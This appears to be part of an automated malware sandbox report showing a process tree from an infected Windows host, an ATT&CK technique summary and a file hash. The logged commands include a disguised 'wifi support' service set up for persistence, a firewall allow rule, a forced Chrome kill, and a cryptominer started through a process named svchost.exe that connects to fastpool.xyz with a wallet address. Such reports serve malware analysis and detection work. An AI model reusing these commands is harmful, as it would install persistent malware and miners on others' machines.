                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\fcrypvkw.n3v\toolspab1.exe
                                                                                                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                                                              PID:1064
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\e5wtysxl.3l0\SunLabsPlayer.exe /S & exit
                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:6656
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\e5wtysxl.3l0\SunLabsPlayer.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\e5wtysxl.3l0\SunLabsPlayer.exe /S
                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                                                              PID:5300
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr30D9.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6236
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr30D9.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2472
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr30D9.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2288
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5332
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr30D9.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6616
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT
                                                                                                                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5164
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\967C.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\967C.exe
                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:5880
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\967C.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\967C.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6820
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\A38D.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\A38D.exe
                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5740
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kyrjfjli\
                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3752
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ihhofbef.exe" C:\Windows\SysWOW64\kyrjfjli\
                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5940
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\sc.exe" create kyrjfjli binPath= "C:\Windows\SysWOW64\kyrjfjli\ihhofbef.exe /d\"C:\Users\Admin\AppData\Local\Temp\A38D.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6492
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5252
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\sc.exe" description kyrjfjli "wifi internet conection"
                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4964
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\sc.exe" start kyrjfjli
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:200
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5160
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\C8D9.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\C8D9.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3528
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4116
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1680
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\F18F.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\F18F.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7048
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\kyrjfjli\ihhofbef.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\kyrjfjli\ihhofbef.exe /d"C:\Users\Admin\AppData\Local\Temp\A38D.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7028
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3412
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7080
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4548
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7036
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5940
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            werfault.exe /h /shared Global\cd0c369553974b32b7ff44b1661cb8a4 /t 0 /p 4548
                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3752
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                                                                                                                                                                            rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5468
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3480
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                                                                                                                                                                            rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6728
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2792
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2792 -s 616
                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5336
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\compattelrunner.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4184
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              "LogonUI.exe" /flags:0x0 /state0:0xa3ae8055 /state1:0x41c64e6d
                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5752
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5916
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2944
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7012
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5564
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4544
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5880
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5700
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6100
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6888
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1540
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6520
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6788
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5888
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5280
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\WerFault.exe -u -p 2492 -s 8212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k wsappx -s AppXSvc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5692
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\compattelrunner.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5068

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Modify Existing Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1031

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                New Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1050

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1060

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                BITS Jobs

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1197

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                New Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1050

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1112

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Disabling Security Tools

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1089

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1497

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                File Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1222

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                BITS Jobs

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1197

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Install Root Certificate

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1130

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Credentials in Files

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1081

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Software Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1518

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Query Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                7
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1012

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1497

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                7
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1082

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Security Software Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1063

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1120

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Remote System Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1018

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Data from Local System

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Web Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1102

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  777a4b0dd38e5f65ad562f7124b18d5b

